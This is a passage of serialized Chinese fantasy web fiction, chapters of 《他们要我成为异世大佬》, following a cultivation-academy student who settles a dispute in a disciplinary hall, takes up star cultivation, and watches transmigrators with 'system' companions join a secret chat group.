“最开始在院内有动静,但不太大,接着启蒙会就加入进来,两方合作后愈演愈烈,语言鞭挞变成上门讨伐,都打了几拨了。” 江弥蹙眉问:“死人了?” “那倒没有。”莫题刚说完就见江弥松下眉头,想到她新生身份,道:“小术院内禁止打斗出人命,所以即便双方怎么看不顺眼都不会杀人灭口。” 江弥好奇:“闹出人命会如何?” 莫题:“以命偿命。” 江弥有些愕然:“不管是谁?” 莫题点头:“所以院内经常有打斗纷争,但不会太过火,也会带上医修,不管怎么闹教习们也不会管,但一旦出人命,不管起因缘由,一律从重处理。当然,小术院外就管不了了。” 江弥:“然后呢?” 莫题:“啊,哦,你想想,六阶七阶都参与打斗了,还是两拨人对打,术院再大的地方也不经造啊,而且启蒙会和新生会有意将事情闹大,损坏不少建筑,比你做的夸张得多,教习一气之下将所有闹事学员关起来,一经了解,嚯,还和你有关呢。” 这语气。 江弥问:“那个罚我五千小术分的胡子教习?” 莫题:“……是严藩严教习。” 江弥点点头:“怎么是你叫我来?” 莫题忍不住叹气:“我这藏得好好的,谁他妈知道邵安那厮怎么找上来的,打了我一顿不说,还要说要把你找出来。” 江弥忽然停住,莫题一看她这行动就知道在想什么,无语道:“好歹是合作关系,给点信任好不好?我这不是也被关,严教习让我来叫你,不然谁愿意跑来天雪峰?” 江弥目光在他身上打量片刻,点头下山。 江弥在天雪峰的事情少有人知道,倒是清闲了段时间,但山下并不太平,江弥几乎每走段距离就能看到光着膀子修葺房屋的兵修,或者半空中垂落的星线搬运随处折断的大树,还有些在催发垂危绿植的生机。 修士的破坏力真强啊。 莫题却道:“不用担心,小术院是靠罚款发家的。” 江弥:“……” 她忽然想起上次严教习让她和邵安范衡众人罚款时,她和范衡罚小术分,邵安选择罚款,顺便将十多个小弟的一起付了。她走时看到一个又一个沉沉的木箱搬进去,当时还以为是小术院的器械,现在回想起来,哪里是器械,分明是钱财! 所以用小术分收割贫穷学员的劳动力,再用罚款收割有钱人的钱财吗? 小术院的惩戒堂看上去很陈旧,门口的两只石狮子都被风雨腐蚀得坑坑洼洼,半点严肃都无。 但一入内,冷肃之气扑面而来。 在其中穿梭的执法教习和学员们没人说话,此地三面环树,光照不足,越往里越阴冷,整座惩戒堂笼罩在寂静无声中。 经过大大小小的房间后,他们来到一处半开的门前,敲了两下,里面传来严教习声音,两人推门而入的刹那,无数目光齐齐望过来。 莫题迈进门的一只脚又撤回来,侧身朝江弥道:“你是主角,你先。” 江弥抬眼看他,然后目不斜视走进去。 第一反应,想笑。 屋内光源只有一盏飘忽不定的油灯,站在木栅栏后的几十人像被铁笼困住的野兽,暗淡的光芒将邵安等人愤恨的脸扭曲变形,仿佛一头头怪兽。 大概是怕他们在这里也打起来,将他们关了不说,还分别放在不同牢笼里。 不少人面目青肿,满身血迹,乌泱泱的一群人挤在一起,气味真的不算好。 严教习却面色如常道:“行了,有什么问题就在这里协商,商量好了再放人。” 江弥拨了下耳边发丝,不解问:“协商?” 严教习三言两语说:“启蒙会和新生会都说是为你讨回公道才和邵安打起来,邵安等人声称东西是他的,抢他东西就应该反击,既然你也是其中一环,就加入其中吧。哦,那边还能挤出两个人的位子,你们也进去。” 莫题摸着脸叹气往那边走,就听江弥说:“我是遵纪守法的好学员,每天认真钻研术法努力还清小术分,既没破坏小术院财物,也没伤人,教习,我要进去吗?” 严教习抹了把黑硬的胡子:“你早先干嘛去了?” 但江弥站着没动,他也没再说。 莫题见状连忙道:“我也是遵纪……” “你给我爬也要爬进去!”严教习粗声吼。 莫题只得灰溜溜挤进去,整个人贴在墙上跟只壁虎似的,瞧着有些可怜。 邵安忍了忍,还是语气很冲地朝江弥怒道:“想要混沌名额,你算哪根葱?!” 旁边牢房的范衡抱臂笑道:“我记得当初约战说的是谁赢归谁,那天情况,怎么都不算你赢,当然我也认栽,那么赢的就是制住全场的新生。理所当然的,混沌名额自然归她。” 新生会的七阶男修王奇则怒道:“邵安你不要太过分了!莫题你说,历史混沌名额的事是不是真的?每年二十个名额就有十个落入你这样的人手里,你扪心自问下,有多少是从别人手里抢来的,又有多少是你自己的?” 虽是问莫题,但他们压根不给莫题说话的机会。 “到我手里的就是我的,有本事你也从我手里弄走几个。”邵安语气极其嚣张,咧嘴嘲讽道:“要我说,启蒙会还有点资格,你们这种平时躲着不吭声到现在才跳脚,还真没这个能力。” “这个人渣败类!” “有本事来单挑,一个六阶敢在七阶面前挑衅,你以为靠的是实力?” “靠,老子先前怕惹麻烦避着这货走,要是早知道是这么个东西,老子第一个上去揍一顿!” 新生会被激怒,牢门震得哐哐响,有人急不择言要跟启蒙会比高低,言辞逐渐激烈。 范衡毕竟当了这么多年会长,扬声道:“不过是挑拨离间,邵安,这混沌名额如何都不该落入你手。” 他说这话时用了气,声音不大,却叫混乱中的每人都能听清,片刻后众人平息下来。 范衡忽然转向江弥:“小学妹,这么多人为你争执,你如何想?” 江弥站在三面牢房前,微弱的火光映照在她身上,在被暗影吞没的众人面前,她柔弱得仿佛被野兽包围的小兔子。 “范学长说得不对,我不过刚入小术院的新生,与在座非亲非故,若说只是为了我便高举我了。新生会是为了声张正义和公平而创办的,并非为了我一人。启蒙会是为了启蒙院学员争取利益,也非为了我一人。但说到底我也是受益者,心中很感谢启蒙会和新生会做的一切。” 说到这里她停顿片刻,露出苦恼神色:“只是我才三阶,混沌名额与我无用,即便拿到手也不过转手他人。不若如此,若这混沌名额真当归属于我,我愿将其献给在场各位。” 这话一出,包括范衡也静了一瞬。 果然是新生,压根不知道混沌名额意味着什么? 新生会王奇惊问:“当真?” 新生会聚了不少马上要大术院考核的,若在此时能拿到混沌名额,进入大术院的几率至少能提高一成。 “你说是你的就是你的?!”邵安抬手一拍牢门,震气要将她拍飞,却被严教习先一步点散。 他吹胡子瞪眼气道:“小子,要犯浑瞅瞅这什么是地方,我管你邵家温家,就是你上头的姬氏来了也不行!” 江弥拨弄了下吹乱的头发,抬头就见严教习边往外走边道:“你们慢慢商量,没个结果就在这里待着,我去吃个饭再回来。” 贴在墙上快成一幅画的莫题:“……” 严教习走出段距离一回头,江弥跟在他身后,他拧眉问:“你不待在里面跟他们商量,跟着我做什么?” “他们吵架我也插不上。”江弥眨眼问:“教习吃饭去吗?” 严教习停脚低头看她:“怎么?” 江弥:“负债五千三,还没吃过这里的食堂呢。” 正常新生最多负债三百五,三百是学费,五十是考虑到新生需要适应,权当借给他们熟悉小术院生活,只要摸清这里的规则就能挣小术分,怎么都不会饿死。 但一来就像江弥这样负债五千三的,还真没有。 一刻钟后,江弥坐在食堂将吃完的空盘放在一旁,脸上露出满足神色,看得对面的严教习挑眉,问:“不再来碗?” 江弥摇头:“明天就好了。” 严教习见她乖乖收拾碗筷,靠坐在椅背上问:“这几天你怎么过的?” 江弥艰难吐出两字:“红薯。” 这红薯还是孙柏柔和周三赞助的,据说这两人刚来时也吃了好几天红薯,这不江弥一来正好用上,于是两人将角落不知放了多久的红薯翻出来,江弥拿到时上面还发了芽,要不是天雪峰不能种,她都要将留一半做种。 吃完饭严教习也没回惩戒堂,去看苦境修得怎样,江弥不打算去看三方人吵架,也跟着去了。 前几天接连下雨,火石砸的大坑蓄成水洼,再来几场大雨就能变成一汪汪小水池,水池旁用石子圈住,外围种了些不知名花草,刚种下不久,叶片有些蔫蔫的。 被炸得松软的土壤上铺了生命力旺盛的草皮,堆积的石子路尽头是重新修建的房屋,后方大树烧了不少,又重新重下新的树苗,等到明年又是一派生机。 之前的苦境是山中猎人临时住的破木屋,现在则是田园牧歌。 江弥合理怀疑,小术院是想借用这种方式整个翻修一遍,难怪舍院建在不同地方。 江弥说:“苦境好像没人住……” 严教习看穿她的心思,直言:“没人住你也别想!” 屋内响起熟悉的萌音:“……他肯定很需要人安慰,他现在很喜欢你,只要再接再厉,立马能拿到他的真爱之心!” 妃绯乖巧点头:“我知道啦!” 然后一推开门,见到江弥和教习站在不远处 52. 052 《他们要我成为异世大佬》全本免费阅读 江弥出来时正看到邵安被妃绯哄得眉梢轻扬。 这件事情结束后莫题又发了则消息,此后销声匿迹了短时间。 用混沌名额换五千小术分,有的扼腕叹息江弥不识名额的珍贵,大骂她暴殄天物,有的细细分析江弥行为,称赞她保全自身还从中获利,有的则担忧江弥同时得罪这么多人,恐怕很难在小术院待下去。 但不管外界如何说,江弥老老实实低调下来。 她找了个书海楼的工作,招人的教习看她入书楼如回自家,当即挑中她来整理书册,于是江弥边工作边上课。 这里的课程安排和启蒙院类似,所有课程定成课表,学员根据自己情况选择性学习。但教习都是十阶以上,课程内容深奥晦涩,上这类课程的要么底子深厚,有么悟性极高,刚入小术院的学员适应需要时间,于是有师兄师姐专门开答疑课。 当然,需要小术分。 在启蒙院时,江弥都是通过自己看书加上课堂教习讲解学习,不觉得有什么问题,直到某次她旁听了一位学姐的课,发现了很多从前考虑过的新视角,惊觉现代知识对她思维的桎梏影响如此之大。 比如她极少会思考神的存在,但在巫道和星宿上,神是十分重要的存在。 江弥开始在不同的答疑课上流转,这天她下完课去书海楼整理书册,发现一本刚还的《星平会海》,翻开一页后不知不觉读起来。 《星平会海》是讲命理的书,通过星辰和八字来推命理,是巫道和星宿的进阶课。 江弥靠在书架低头看书,来往皆是借书还书之人,两个书架外的角落,终于找到君慕之的谷不休刚开口就被封住了嘴,他张嘴满脸木愕。 君慕之道:“书海楼,轻言。” 谷不休点头,君慕之刚解封就听他嗓门极大:“让你在外待着不是让你不回去!你几天没回了?还以为你死外——” 谷不休再次被禁言,不可置信的一张脸涨得通红。 察觉有人靠近,君慕之抬手拎着谷不休的领子消失,下秒,江弥抱着书走来,前前后后找了圈,又奇怪离开。 君慕之一到天雪峰就放下他,挥退满面风雪,语气平稳道:“什么事?” 谷不休盯他跟变了个人似的,问题不断:“我该问你怎么回事?不是不能去人多的地方?怎么下次山就不愿回来了?中间晕过去失去联系了?” 君慕之简洁道:“有好转。” “天雪峰作用这么大?廖家占卜果然不同寻常,难怪指名要我们来心宿。”谷不休思索道:“我跟我爹开口,他明天就会把这座山搬回去。” 君慕之垂眸:“不要告诉谷叔。” 谷不休点头:“对对对,我爹动静太大,要是让姬氏乐正氏得知,指不定又要闹出什么事。” 君慕之隐藏眼中不解,抬眼道:“先不要送消息回去,我有打算。” 听到这里谷不休皱眉,过了会儿还是说:“只要你不把自己往死里折腾就行。” 君慕之等他说完消失在原地。 谷不休眉头皱得更紧,肯定有哪里不对劲。 书海楼的江弥在工作结束后离开,今天孙柏柔约了她吃饭,到食堂时孙柏柔点好了饭,见到她时眉眼舒展,绽开浅笑,身上的粉白衣裙衬得她像朵徐徐开放的桃花。 江弥走过去时见到好几名男修朝孙柏柔望去。 孙柏柔长相柔美,嗓音柔柔弱弱,语调软一点就像是在撒娇,看上去十分惹人怜爱。 最初总有男修想要欺负她或者调戏她,然后被她一招比一招狠地打趴在地下。 后来有人见她跟周三崔大表现熟稔,又道她不知检点脚踏两条船。周三有次听到帮她教训那人,得知是同在医署的人嫉妒她才造的谣,即便这人离开了医署,孙柏柔也对旁人热络不起来,在外对谁都举止有礼,十足疏离感。 江弥坐在对面听孙柏柔吐槽医署今天忙得要死,伸手让她闻自己手指上的苦药味,发愁道:“再这样下去,我都要变成一颗药了。” 江弥说:“那也是颗裹着糖心的药。” 孙柏柔噗嗤笑出声:“怎么回事?你最近说话怎么这么好听。” 江弥拿筷子敲敲碗:“吃人嘴短。” 两人边吃边聊,忽然有人怒喊孙柏柔的名字。 来人是个身穿华美宫裙的少女,飞奔来时裙摆飞扬,她气瞪着孙柏柔道:“本宫特意找了这么远的食堂吃饭,结果还是没能避开你,你是不是故意跟踪本宫和滕哥哥?” 孙柏柔面上的笑意消失,换上疏离语气:“扶尧公主想多了。” 扶尧侧身将暮云拉到跟前:“你来说,就这个月,我们碰见多少次了?” 暮云低眉道:“十次,每次滕公子都在场。” 扶尧眼睛圆瞪,气道:“莫要说本宫刁蛮欺负人,你自己看看,本宫仅有的几次不用御膳特意跑来食堂陪滕哥哥用餐,却次次遇到你,不是你跟踪是什么?” 江弥看这姑娘,滕宝?他的系统是龙傲天系统吗?还特意给他后宫找来个公主。 又想到那系统将孙柏柔也纳入了,可看孙柏柔的样子,不像是跟滕宝关系有多好,这公主又是怎么回事? 孙柏柔被扶尧公主刁难不止一次,心中不耐,正要说话,江弥忽然问:“会不会是滕学长喜欢孙柏柔,所以故意跟着她来吃饭?” 扶尧一愣,随即大声反驳:“不可能!” 江弥认真思索起来:“也未必,我先了解下,每次吃饭是你随滕学长去食堂,还是你决定去哪个食堂滕学长跟随?” “那当然是……”扶尧停顿两秒,陡然醒悟:“你是谁?本宫有和你说话吗?” 江弥指指孙柏柔:“朋友。” “你们是一伙的,你当然帮着她说话!”扶尧仰着下巴高傲道:“本宫才不信你的话。” 江弥:“哦,我和孙柏柔只是临时饭搭子。你再想想我说的有没有道理。” 孙柏柔按了下眉,无语道:“倒也不必如此。” “哼!你们沆瀣一气,本宫最后警告你,下次不要在跟着滕哥哥了!”说完转身,却见不远处皱眉看她的滕宝,顿时手足无措起来。 滕宝手里的饭盘放在餐桌上,越过扶尧公主走到孙柏柔面前,目露歉意:“抱歉,是扶尧任性了,我代她想你道歉。” 扶尧在他身后气得跺脚,狠狠瞪向孙柏柔。 孙柏柔 53. 053 《他们要我成为异世大佬》全本免费阅读 “……天象列次分野图上的一千三百三十九颗星辰,每颗均可契约,此外还有无数未命名之星。” “……星图是修士的星域,星图也各不相同,实星暗藏星辰之力,虚星则遮人耳目,虚实交错,以假乱真。” “……星印就是契约本命星成功的标志,切记,不可随意将其展示,这是星修的致命弱点。” 课程结束后天色已经暗淡,学员们一出教楼就运转乘风术急匆匆离去,边修行边挣小术分的情况十分普遍,就是晚上也不得闲。 小术院很大,建筑与建筑之间相隔很远,沿途只偶尔几盏石灯散发光晕,巡逻修士有条不紊地走过。 江弥没有回天雪峰,而是往教楼后的山林走。 林间虫声蛙声四起,头顶月亮隐入云层,星辰密布。 她坐在粗壮的树枝上,抬手翻起灼热的火球,另只手画出“腐萤”,萤虫飞舞,将两者缓慢靠近,很快火球的火焰变得不稳定,萤虫逸散,两个在相互排斥。 还是不行。 神力吗?只有神力才能完全控制“字”? 远在溪边石头旁静坐的阿玲睁开眼,抬起的白皙手指轻拂,如牛毛的“细雨”笼罩身侧的小片空间,另只手上缠绕小蛇般闪烁的“蛰雷”。 阿玲将“蛰雷”靠近雨幕时,温顺的雷电陡然暴躁,电弧在空中炸响,电蛇仿佛张开狰狞蛇口要吞噬另一个存在,连绵细雨也忽的变成瓢泼大雨,水滴仿佛带来沉重的压力不断砸下,脚边河水变得汹涌。 手臂被电弧抽出焦痕,阿玲无视两者斥力让其靠近。 就在暴怒的雷电狂涨劈中她时,淡金色光芒顺着她的手臂覆盖“蛰雷”,暴躁狂怒的巨蛇被瞬间安抚,缓慢恢复成温顺小蛇般的紫雷,紫雷接触雨滴的刹那,“蛰雷”融入了每一滴“细雨”中,垂下的雨幕闪烁着无数紫光。 雷雨。 阿玲又开始新的尝试,江弥却陷入沉思。 阿玲能控制“字”,因为那些金色光芒是神力。 如果说系统的力量是神力,而异世者携带系统并能使用神力,异世者是神吗?还是这些是神所为? 他们的穿越是神的杰作? 紧接着江弥又陷入另一个问题。 显然,阿玲更适合使用“字”,并能发挥出“字”真正的力量,那她就必须选道修行了。 江弥透过树叶间隙看到天穹上的星辰,想起自己识界中的三颗星星,忽的翻身下树。 书海楼中有个放修士心得的书架,里面有三卷是星修的记录。 第一位星修八阶,是个特立独行的修士,在七阶契约了一颗本命星,又在一年后发现自己不喜欢这颗星,于是想方设法想要换另一颗,为斩断契约费去了半条命修为还降至三阶。此后又用五年修至八阶,终于契约梦中情星。 最后这名星修写道:“择星如择偶,成功的星修背后必定有一颗默默支持的本命星,选对才能星途坦荡。” 江弥做出判断,这人是个天才。 第二位星修十二阶,站在巅峰的高阶修士,她的言辞十分简单,没有心得,只有发出的质问。 “日月变换,星辰却从始而终不曾更改,那么星辰之力到底是什么?星兽作为生命体是如何诞生的?星辰之外有新的生命体吗?还是我们在用星辰之力创造新的生命体?” 盯着这些疑问,江弥皱眉,她见过陆怀的星兽氐土貉,与其说它是星兽,她更觉得这是披着星兽皮的系统。 思索两秒无果,江弥继续拿起第三卷。 第三名星修没写自身信息,但她找到了关于识界的记录。 这位星修的描述里,他的识界是一片汪洋大海,大海上漂浮着星星,上空堆砌着蔓延出很远的仙梯,星辰从海面爬上仙梯,看上去像是往仙梯上倾倒星海,连接这海水和仙梯。 很壮观的画面。 和启蒙院看到的一样,星修识界里,星辰在水中列张,仙梯向上成长,而仙梯之上没有星辰。 她将书卷放回原位,坐在安静的书架间思考。 若说这世界有什么同日月一样万古不变,那便是星辰。不管白天黑夜,身处何方,星辰就在头顶,星辰之力也无处不在。 星宿修的是星辰,将星辰之力纳为己用。 江弥进入识界,盘腿坐在河面上仰头看那三颗星辰,这分别是陆怀、卫鸣和严微死去时在她识界中出现的。 现代有种说法,人死后会变成星星。 她原本也是有这种念头的,觉得这些会不会就是陆怀几人,但死去的异世者不止这三人,若是她亲手杀死的异世者才会出现在这里,那陆怀也不该出现。 思来想去,她猜想是系统。 吸收后的系统会在她的识界留下痕迹。女教习曾经说过,识界会将修行之路具象化,右边的仙梯是,左边的神台也是。 如果说修星修的是星辰之力,那么这些星辰能否被使用呢? 刚这么想着,三颗星辰中暗淡的那颗忽的闪烁几下。 下秒,江弥整个人被幽紫色光芒笼罩,她猛地站起,却见脚下河水中泛起点点星光,晦暗的河水被紫色光点照亮,星光由点及面,极快地向河水两端蔓延。 仿佛在外界苍穹的星辰中裁下长长一条浸在河水里。 埋在河底的字牌被惊动,纷纷挣扎着溢出河面,在明亮的金粒子中乱窜。 星光璀璨的银河带陈列在她脚下,江弥有些茫然。 右侧的仙梯忽然发出沉闷声响,闪烁着莹润白光的台阶爬满裂缝,细碎的石子滚滚落下,还未及地面便消失。 左边识界平静美好,字牌在里面欢快地飞来窜去,右边识界却地动山摇,震动越来越大,厚实的三层台阶中间竟直接裂开,识界的气躁动不安,想要弥补这些裂口,却只是徒劳地从裂口中穿过。 “用你的道修补。” 一道声音穿过耳膜进入大脑,江弥立刻明白自身处境,她感受到一股陌生而汹涌的力量涌入躯体,经脉正在被这股力量改造。 江弥专心引导这股力量。 渐渐的,有星光溢出河水,凝成一根根紫蓝色星带飘向仙梯,犹如水流渗进缝隙,星带在修补仙梯大大小小的裂痕。 这个过程缓慢而细致。 等一切结束,右边的识界已经大变样。 星光流转的银河从半空中分出一条,星辰汇聚成流奔向 54. 054 《他们要我成为异世大佬》全本免费阅读 木讷神情也掩不住江弥的内心巨震,君慕之抬手点在书架上,一层几乎透明的结界张开,随后隐藏在空气中。 江弥往后挪了步,露出警惕表情。 “一百小术分,外加解疑。”君慕之再次开口。 答疑啊! 江弥心动不已。 不管是启蒙院还是小术院,里面的书没有神的消息,但阿玲的修行、系统的秘密、异世者的降临,又跟神有着千丝万缕的关系。 好像有一层屏障将和神有关的一切屏蔽了,没有特殊途径压根无法获知。 眼前这个人是个突破口。 江弥沉吟片刻问:“你要我做什么?” 君慕之:“待在我附近。” 江弥想也不想就拒绝:“我有自己的事忙。” 君慕之换种说法:“让我待在你附近。” 江弥神色古怪,这人是有什么特殊癖好吗?怎么我从来就没跟上过他的思路? 这要求看似简单,但她秘密不少,君慕之修为高深,先不说提出这要求的原因,仅仅只是他察觉到阿玲的事还未弄清,江弥就不可能让这样一个人留在身边。 她就是为了避开君慕之才不去天雪峰的。 江弥摇头:“我不同意。” 君慕之拿书的手蜷了下,垂下眼睫:“嗯。” 拒绝了人,江弥也没法厚着脸皮继续问,于是中午她买了饭去找孙柏柔。 这几天是别的医修轮值,孙柏柔轻松不少,江弥去她舍院,刚到就见一根蓍草飞来,八角截面正对着她,接着孙柏柔笑着三两步跑来,身后还跟着个粉裙的妃绯。 “我就说她来了。”江弥面前的蓍草被孙柏柔抬手收回,她扭头对妃绯笑着说:“这还只是最简单的占卜。” 妃绯满脸惊奇:“好厉害!” 孙柏柔拎走江弥手里的食盒,单只手搂她胳膊:“这是妃绯,我的舍友,妃绯,她是江弥,我们来自同个启蒙院,一起长大。” 妃绯望向江弥:“嗯!我们见过!” 孙柏柔好奇看向两人,江弥将差点和妃绯同舍的事情说了,孙柏柔感叹:“缘分还真奇妙啊!” 三人走进舍院内,这是个两居室的房子,还有个栽了药草的小院,四周这样的两居室约莫二十多户,叫夜舟。 不远处有个巨大的湖泊,湖旁生长着竹林。据说是经常有学员无聊,拉着舍院其他学员砍竹做舟,大半夜举行游水比赛,由此而命的名。 不多会儿三人带着吃食去竹林旁的小亭子,妃绯拿来做工精致的点心,江弥将食盒里的饭菜取出。 孙柏柔抱出小坛花蜜泡水喝,听到江弥的话,往杯里倒水时溅出几滴,忍不住惊讶问:“星宿?” 江弥点头:“在识界待了一夜就变成这样。” 孙柏柔将花蜜放一旁,叹道:“什么重要的事到了你这里,怎么就轻飘飘的。” 妃绯捧着花蜜水小口喝,眼睛亮晶晶道:“好喝!” “那就多喝点,补气养颜的。”孙柏柔朝妃绯温柔说完,转头对上江弥就是忧愁神色:“不会有问题吧?” 江弥想了想:“有点问题。” 她放下筷子,举起的手上浮现星线,但星线若影若线,就像接触不良的灯泡。 “不知道怎么回事,我的星辰之力不稳定,”她收回手,朝孙柏柔道:“我打算吃完找周三问问。” 妃绯连忙说:“二哥哥身边有很多优秀的星修,我也可以帮忙问问看。” 孙柏柔欣喜道:“真的吗,谢谢你妃绯。” 妃绯被她的热情弄得有点脸红:“也……也没什么的,和你们在一起我才是很高兴。” 突然出现的蛋蛋落在她肩头道:“廖伯柔的友谊之心凝结进度78%。要不是友谊之心能量比真爱之心少,妃绯多拿些友谊之心也是很不错的。” 妃绯捧着水杯喝水,心里道:“这颗友谊之心可以不摘吗?摘掉友谊之心后,她就会把我当陌生人,我来这里还没交过朋友,我喜欢和朋友相处。” 她性格胆小,脑袋也笨,刚穿越时是蛋蛋救的她,她知道自己很多事情都做不好,所以不管蛋蛋要她攻略谁她都老实照办。 这么久她也只拿到四颗真爱之心,万人迷光环在她身上遭遇了滑铁卢。可是对她来说,攻略男人太难了,就算按照蛋蛋说的做,她还是觉得好难。 她就不知道邵安在想什么,一下心情好一下心情坏,还老欺负她,被欺负了不能哭,被吼了还要哄对方,他还经常脾气不好打人,她害怕邵安打她,总是战战兢兢的。 但是朋友不一样,大家可以笑笑闹闹。 妃绯很珍惜朋友。 蛋蛋脸上的笑脸没变,萌萌的声音道:“当然啦!一切都是妃绯的选择哦!” 妃绯松了口气,放下水杯拿起块点心啃。 蛋蛋忽然提示电子音:“有陌生好友将您拉入群聊,请问是否同意?” “噗——” “咳咳咳!” 喝水的江弥被突然的提示内容惊得喷水,妃绯吃点心吃得正开心,听到拉入群聊也差点噎死。 孙柏柔望向两人:“你们怎么了?” 江弥轻咳两声:“想到以后星途不顺,吓到了。” 妃绯连忙也说:“我……我觉得这点心很好吃,不小心吃猛了。” 说完她低头在心里问蛋蛋:“群聊是怎么回事?” 蛋蛋没有回答,它飞到妃绯面前,头顶是邀请加入群聊的字幕,左眼显示“是”,右眼显示“否”,电子音催促道:“请问是否同意?” 妃绯借着拿水杯的动作选了“是”,随后又弹出字幕:“请输入群聊昵称。” 她在心里道:“蛋蛋君?” 下秒字幕显示:“恭喜‘蛋蛋君’加入异世者聊天群。” 蛋蛋的头顶忽然变成滚动字幕,因为新人的加入聊天群异常活跃。 直播剁雕:“哟,又来新人啦!欢迎欢迎!” 可爱小仙女:“聊天群传统,新人进来发红包。” 每天都想报复哦不对是暴富:“发红包+1。” 轻抚菊花:“+1!” 我太帅了:“+1。” …… 吃葡萄不吐葡萄皮:“+10086。” 蛋蛋君:“发红包?怎么发呀?” 直播剁雕:“新人是个小可爱哈哈哈哈!” 轻抚菊花:“蛋蛋君看我!快看我!” 可爱小仙女:“知道了知道了,你俩一对。” 接下来又是一片黄言黄语,看得妃绯满脸通红。 < 55. 055 《他们要我成为异世大佬》全本免费阅读 告别孙柏柔后,当天晚上她爬上小术院的观象台。 台上石灯埋在脚下的木槽里,光线昏暗,观星的人很多,有个教习正在上课,几架巨大的精密仪器旁围着教习和学员们,他们低声探讨或通过仪器看星辰,也有随处找空地躺着睡觉的。 江弥找到无人的角落看头顶天幕。 今天是适合观星的日子,月亮避让,万里无云,浩瀚辽阔的黑幕上群星交织,璀璨的银河静谧流淌,和她识界的那条很像。 周三说力量来自星辰,问题也只会在星辰。 是不是因为进阶太过突然?谁的道途不是深思熟虑后认真探索的,欲速则不达。 江弥试图将自己融入星河,在里面寻找那些熟悉的名字,然而一夜过去,启明星出现天边江弥也没感应到任何星辰之力。 接连上了三天课程,星辰之力的问题仍旧没有方向。 这几天去夜舟吃饭时妃绯也在,但她明显处于遇到老乡异常激动的网瘾状态,通常说着说着就去看聊天群了。 江弥最开始的震惊也逐渐平息。 聊天群是某位异世者的系统能力,它能通过某种方式关联不同系统,以此建立独特的交流通道。 最开始的异世者经常因为交流内容泄露而暴露身份,群主建立这群的目的也是为了安全沟通。 在群中发言得到认可的妃绯抱着水杯满脸兴奋,看到“我太帅了”分享自己的食物,妃绯也高兴道:“好巧哦,小术院今天也是这个菜。” 群中猛的一静,妃绯意识到自己好像说了什么不该说的,小心翼翼问:“我说错什么了吗?” 群中是一片“没事没事”“怎么会”的安慰声。 江弥按了下太阳穴。 她算是看出来了,妃绯现实年龄应该不大,性格单纯,戒备心不强,能现在还没被发现异世者身份,一方面是万人迷光环加成,一方面是系统蛋蛋是个引导者,在教她避开危险。 但聊天群开启时,蛋蛋会自动进入休眠状态,有心者引导几句就能将她摸清。 要是妃绯被发现,再来次陆怀那时的大排查,江弥也很麻烦。 江弥放下筷子,语气微冷道:“妃绯,你讨厌我?” 妃绯还在纠结自己是不是在群里说错话了,听到江弥问她才回过神,随即连忙摇头:“没有没有,我怎么会讨厌你。” 江弥皱眉:“但自从我来这里后,每次吃饭你都心不在焉,因为我和邵安的关系让你坐立难安?” “我……我没有这个意思。”妃绯面色涨红,嚅嗫着不知道怎么办:“我就是,昨晚有点没睡好,精神不好,对不起,我下次不这样了。” 孙柏柔挠了下脸:“没睡好也没办法,江弥你说是不是?” 她有意打圆场,江弥没领情,直言道:“如果你认为朋友只用说几句话就能得到,那这样的朋友不要也罢。” 妃绯被说得连连道歉,羞愧得眼泪都要掉下来了。 蛋蛋忽然说:“江弥的真爱之心凝结进度41%,也许她不是要和你绝交。” 妃绯睁着通红的眼睛望向江弥,在心里问蛋蛋:“可是她说不要我这样的朋友。” 蛋蛋:“也许是她觉得你忽略她了,她在向你寻求关注。” 妃绯忽然也这样觉得,上前一把拉住江弥的手,孙柏柔还在想要怎么让两人和睦相处,抬眼就见妃绯十分认真对江弥道:“你讨厌我也没关系,我会一直把你当好朋友的。” 蛋蛋:“对!就是这样,友谊之心的凝结进度肯定会上……凝结进度下降到30%!妃绯!错了!她没讨厌你,把前面那句话去掉。” 妃绯:“我我我会做你好朋友!最好的朋友!不对,Emmmm,我们一直是好朋友,我不会忽略你的,啊,不对吗?” 孙柏柔看着妃绯拉着江弥的手,紧张得快要哭出来,而江弥一脸冷淡地看她哭,忽然觉得,嗯,这不就是他们几人打闹的状态,于是立马淡定了。 江弥:“……” 在妃绯哭出来前她抽回手,点头:“我知道了。” 妃绯睁着兔子似的红眼睛可怜看她:“那你不生气了吗?” 江弥:“嗯,我不生气。” 妃绯刚要松口气,蛋蛋忽然说:“友谊之心凝结进度稳定在5%,妃绯,她打算和你绝交了。” 妃绯的眼泪直接就落下来,但江弥不再理她,同孙柏柔说了句便离开。 妃绯看着江弥的背影难过,孙柏柔安慰她道:“江弥平时不这样的,她最近修为出了问题心情不好,没有怪你的意思,你别难过,几天后就好了。” 妃绯摇头,不,她是真的要和我绝交了。 江弥刚走出夜舟就碰上邵安,她心想,妃绯身上的万人迷光环还是挺有用的,这不,她这个找茬的就开始被人找茬了。 邵安不管去哪身边都会带人,看到江弥,他和三名少年走了过来。 “往哪走?”邵安拦在她跟前,手玩着玉坠上下打量她:“才几天就升阶,新生能力不错啊,所以才这么嚣张啊。” 江弥心中叹气,在逃跑和开打中思索两秒,果断选择出手,邵安六阶,他身后的至少也是五阶,江弥直接使用声势浩大的“山崩”和“骇浪”,高山瞬间笼罩方圆百里,泼天洪水从天边滚滚而来。 邵安往后一步,身后的三人上前,周身气息暴涨,纷纷蓄力,邵安冷笑道:“要我出手,你还不够格!” 说罢,三人朝三个方向速影攻向江弥。 陡然间轰隆巨响,山石崩塌,无数大大小小落石纷纷朝三人砸去,一人拔剑挥砍,一人脚下星图展开,幽蓝色星辰犹如猛然窜起的巨蛇,张口将坠入星图内的落石咬碎。 江弥看着星修不断逼近,某一瞬,大脑陡然生出警觉,盘桓的巨大水浪猛地朝身后冲去,快成残影的身形在接近江弥的刹那被巨力拍飞,他在半空中御风旋身,再次进攻。 而在此时,星修近在跟前,星图即将延展到江弥脚下时,硕大火石夹杂在落石中朝星修攻去,被星辰之力绞碎,碎裂数十颗脑袋大的火石在星图中四溅,那星修攻势一缓,立即在星图中闪躲起来。 火星四溅,四周燃起大火。 在江弥的刻意控制下,“骇浪”避开大火,火势越烧越旺。 邵安扬声道:“你们要是连新生都打不过,我还不如让新生进我邵家。” 这话一出,三人攻势越发凶猛,江弥躲得狼狈,又是一招剑势砍来,她欲凝出星线抵挡,但体内力量陡然失灵,星线闪烁一霎消失,锐利剑势近到跟前,便是江弥反应神速,也还是被剑气击中。 无法御风稳定身形,江弥就这样从半空中滚落,被剑气划破的胳膊鲜血淋漓。 56. 056 《他们要我成为异世大佬》全本免费阅读 屋内没有半分温度,君慕之也如此。 江弥按在他脖颈的手用力收紧,像在握住一捧雪,冰冷彻骨。 